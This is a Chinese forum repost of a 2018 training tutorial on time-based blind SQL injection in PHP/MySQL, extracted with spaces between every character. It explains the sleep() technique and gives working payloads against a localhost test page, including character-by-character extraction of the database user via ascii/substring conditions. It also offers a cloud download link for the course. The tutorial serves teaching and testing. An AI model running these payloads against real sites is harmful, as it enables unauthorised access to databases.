搜索

[26592] 2018-01-20_【原创】（PHP+MYSQL（延时注入和注入工具编写）

文档创建者：s7ckTeam
浏览次数：0
最后更新：2025-01-19
2018-01-20_【原创】（PHP+MYSQL（延时注入和注入工具编写） 【 原 创 】 （ P H P + M Y S Q L （ 延 时 注 入 和 注 入 工 具 编 写 ） 原 创   m o o n s e c   m o o n s e c   2 0 1 8 - 0 1 - 2 0 【 原 创 】 （ P H P + M Y S Q L （ 延 时 注 入 和 注 入 工 具 编 写 ） 这 是 以 前 培 训 录 制 的 一 个 课 程   现 在 分 享 出 来 给 大 家 学 习 吧 。 延 时 注 入 延 时 注 入   等 于 时 间 差 注 入 时 间 差 注 入   延 时 注 入 往 往 用 于 难 于 判 断 页 面 延 时 注 入 往 往 用 于 难 于 判 断 页 面   是 否 存 在 注 入 漏 洞 的 检 测 方 法 。 是 否 存 在 注 入 漏 洞 的 检 测 方 法 。   延 时 注 入 的 原 理 ： 在 m y s q l 中 存 在 s l e e p 函 数 ， 这 个 函 数 是 主 要 让 数 据 库 查 询 的 结 果 ， 等 待 多 少 秒 返 回 给 客 户 端 ， 可 以 使 用 这 个 函 数 构 造 注 入 语 句 加 以 判 断 即 可 。   S l e e p s e l e c t   s l e e p ( 1 0 )   i f s e l e c t   i f ( ' x ' = ' y ' , 1 , 0 )   s e l e c t   i f ( ' x ' = ' x ' , s l e e p ( 5 ) , 0 )   判 断 是 否 存 在 注 入 h t t p : / / l o c a l h o s t / s q l / s l e e p . p h p ? i d = 1 % 2 0 a n d % 2 0 s l e e p ( 1 0 )   出 数 据 s e l e c t i f ( a s c i i ( s u b s t r i n g ( u s e r ( ) , 1 , 1 ) ) = 1 1 4 , s l e e p ( 5 ) , 0 )   首 先 要 判 断 这 个 字 符 串 的 长 度 s e l e c t   L E N G T H ( u s e r ( ) )   1 4   s e l e c t i f ( a s c i i ( s u b s t r i n g ( u s e r ( ) , 1 , 1 ) ) = 1 1 4 , s l e e p ( 5 ) , 0 )   s e l e c t   i f ( a s c i i ( s u b s t r i n g ( u s e r ( ) , 2 , 1 ) ) = 1 1 4 , s l e e p ( 5 ) , 0 )   p a y l o a d s = ' a b c d e f g h i g k l m n o p q r s t u v w x y z A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 0 1 2 3 4 5 6 7 8 9 @ _ . '   判 断 第 一 个  
r o o t @ l o c a l h o s t   就 是 延 时 注 入 得 到 数 据 的 原 理 教 程 下 载 链 接 ： h t t p s : / / p a n . b a i d u . c o m / s / 1 s m C S y X v   密 码 ： h 0 f w
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理